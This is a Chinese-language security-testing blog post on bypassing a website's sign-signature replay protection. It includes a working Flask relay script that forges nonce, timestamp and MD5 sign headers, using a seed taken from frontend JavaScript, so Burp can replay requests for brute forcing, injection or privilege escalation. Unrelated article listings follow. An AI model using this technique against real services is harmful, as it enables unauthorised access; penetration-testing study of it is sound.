首页 > 其他分享 >【安全性测试】突破sign签名校验实现请求重放

【安全性测试】突破sign签名校验实现请求重放

时间:2024-06-03 09:55:31浏览次数:26  
标签:nonce 请求 timestamp 校验 sign header 签名

 

对于安全性较高的网站,通常会用到sign签名来实现多重验证,常见的有:

sign对加密密钥验证(后面会介绍)
通过sign对请求重放验证(该文章重点介绍sign请求重放验证)
在渗透测试中,重放数据包是非常重要的测试条件,大多数功能都需要通过重放来测试,像爆破、sql注入、篡改参数实现越权等等;而开发者通常采用的限制方法就是禁止请求重放

有些网站每次请求通过增加随机nonce请求头来校验限制请求重放,我们首先可以测试修改nocnce的值来测试是否能够绕过限制,在这次案例中并不能绕过,在以前的渗透测试中我确实有碰到过修改nonce就可以绕过重放

案例:请求重放失败

以设备的产测生成的鉴权密钥和设备的sn码,去组合而成的sign签名,发送到服务端之后,开始进行鉴权,鉴权成功后说明当前的鉴权码是符合要求的,再进行校验解析当前的次数是不是超过签名校验请求重放的次数,从而禁止请求重放...禁止反复调用

 

第一步:

先判断当前接口有没有做 请求重放 接口是否带sign 有哪些接口是有做请求重放的,目前这个接口没有sign签名相关,当前接口没有做请求重放相关

 

 

 

postman可看:

 

 

在该案例中我们可以看见有sign值,同时还有timestamp、X-CTG-Request-ID、X-Request-Time等等,熟悉sign签名的都知道,这些值都会与sign有关联的。这些值每次请求都是不一样的,我们更改数据包重放请求的时候这些值不会变,就会导致重放失败,当然随机修改值也是无效的,比如我修改sign的值提示了签名信息不正确

 

而后端怎么校验我们是不知道的,我们只需要知道一点:后端校验的这些值都是前端发送过去的,这些值肯定都是在前端生成的,我们只需要找到这些值的生成方法,在每次请求中使用我们自己生成的值即可绕过

1、前端搜索关键字,找到生成方式,通过前端我们就可以分析到每个请求头的生成方式,对于懂JS的人就会相当简单(需要JS基础,后续有时间我会详细分析,这里就不再分析了)

 

2、根据每个请求头的生成方式用python编写请求中转脚本(只要是处理bp的请求,接收bp的每个请求,自动在请求包的HTTP头中添加指定的请求头信息,比如随机的sign,再向目标 URL 发送请求,最后将响应结果返回给bp展示,以达到绕过重放)

使用flask框架

import hashlib
import json
import uuid
from datetime import datetime
 
import requests
from flask import Flask, request
 
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
 
 
# 请求处理
@app.before_request
def incoming_request():
    header = dict(request.headers.items())
 
    nonce = uuid.uuid4()
    timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')
    sign_plain = "timestamp=" + timestamp + "&nonce=" + str(nonce) + "&seed=itms"
    sign_md5 = hashlib.md5(sign_plain.encode()).hexdigest()
 
    header['Nonce'] = str(nonce)
    header['Timestamp'] = timestamp
    header['Sign'] = sign_md5
    header['X-Ctg-Request-Id'] = str(uuid.uuid1())
    header['X-Request-Time'] = str(int(datetime.now().timestamp() * 1000))
 
    re = requests.post(url=request.url, headers=header, data=request.data)
    re.encoding = 'utf-8'
    try:
        json.loads(re.content)
    except ValueError:
        return re.content
    return re.json()
 
# X-Ray代理转发到这里
# app.run(host='127.0.0.1', port=xxxx, debug=True)
# Burp代理转发到这里
app.run(host='127.0.0.1', port=12450, debug=True)

bp设置上层代理

 

然后就可以愉快的请求重放了

未处理的重放失败

 

处理过的重放成功

 

标签:nonce,请求,timestamp,校验,sign,header,签名
From: https://www.cnblogs.com/chenxiaomeng/p/18228182

相关文章

  • Eclipse 下 Activiti Designer 插件安装教程
    Activiti开源工作流引擎简介:什么是工作流?工作流(Workflow),就是“业务过程的部分或整体在计算机应用环境下的自动化”,它主要解决的是“使在多个参与者之间按照某种预定义的规则传递文档、信息或任务的过程自动进行,从而实现某个预期的业务目标,或者促使此目标的实现”。个人理解:工......
  • 南澳大学INFS 2042 Data Structures Advanced Assignment 2 – Contact Tracing
    INFS2042DataStructuresAdvancedAssignment2–ContactTracingINFS2042DataStructuresAdvancedAssignment2–ContactTracingwechat:help-assignment1.IntroductionTotrackandreducethespreadofadiseaseduringanepidemicorpandemicsituat......
  • react 怎样配置ant design Pro 路由?
    AntDesignPro是基于umi和dva的框架,umi已经预置了路由功能,只需要在config/router.config.js中添加路由信息即可。例如,假设你需要为HelloWorld组件创建一个路由,你可以将以下代码添加到config/router.config.js中:在menu.ts中设置菜单标题:exportdefault{'......
  • [论文速览] Design and Development of a Framework For Stroke-Based Handwritten Gu
    1.Pretitle:DesignandDevelopmentofaFrameworkForStroke-BasedHandwrittenGujaratiFontGenerationsource:arXiv2024paper:https://arxiv.org/abs/2404.03277code:None关键词:fontgeneration,handwritten,gujarati,stroke阅读理由:刷新鲜论文ing2.Mo......
  • SpringBootWeb 篇-深入了解 Filter 过滤器与 Interceptor 拦截器(实现登录校验 Filter
    ......
  • 全球首个多语种手语视频生成模型诞生:SignLLM
    近日,一项名为SignLLM的新型AI技术取得了突破性进展,或将彻底改变听障人士的沟通方式。作为全球首个多语种手语生成模型,SignLLM能够将输入的文本或语音指令,实时转化为对应的手语手势视频,为打破语言障碍、促进信息无障碍传播带来了革命性希望。全球首个文本转多语种手......
  • javax.validation分组校验
    /*没有加分组groups的属于Default默认分组。添加分组groups的属于自定义分组,不属于默认分组。validation校验默认使用默认分组校验,不会校验自定义分组。因此如果需要校验自定义分组的字段,需要校验的时候加上自定义分组,如:Valida......
  • [转帖]关于OpeSSL生成自签名证书-包含完整证书链生成(全网最全)
    https://www.cnblogs.com/linziping/p/16857167.html  相信大家对证书已经有一个比较直关的了解,这里只讲如何创建自签证书,关于openssl的使用或者证书的相关内容,此处不做过多讲解废话不多说,直接上手。一般证书分为根证书,中间证书,用户证书三级,也可以是根证书和......
  • EasySignin SSRF的利用
    最近忙着论文没时间写,闲了来几题。看题,进来就是登录注册,注册登录进去看看.改密码看看,因为可能会出现更改用户名直接可以改admin的操作。那就直接改admin密码,尝试登陆看。抓包看看照片。很明显的ssrf的漏洞,但是试了很多次都是被过滤,可能直接访问本地文件是不行的,但是ssrf......
  • **static assertion failed:no q_object in the class with the signal**
    staticassertionfailed:noq_objectintheclasswiththesignal这个问题主要是由于未添加Q_OBJECT,找不到信号定义如图所示,正是由于未点击Add下面的选项,即使在后续手动添加Q_OBJECT也会报错解决的方法可以在原先的情况下进行添加新的文件(这里我是定义了Student2,Tea......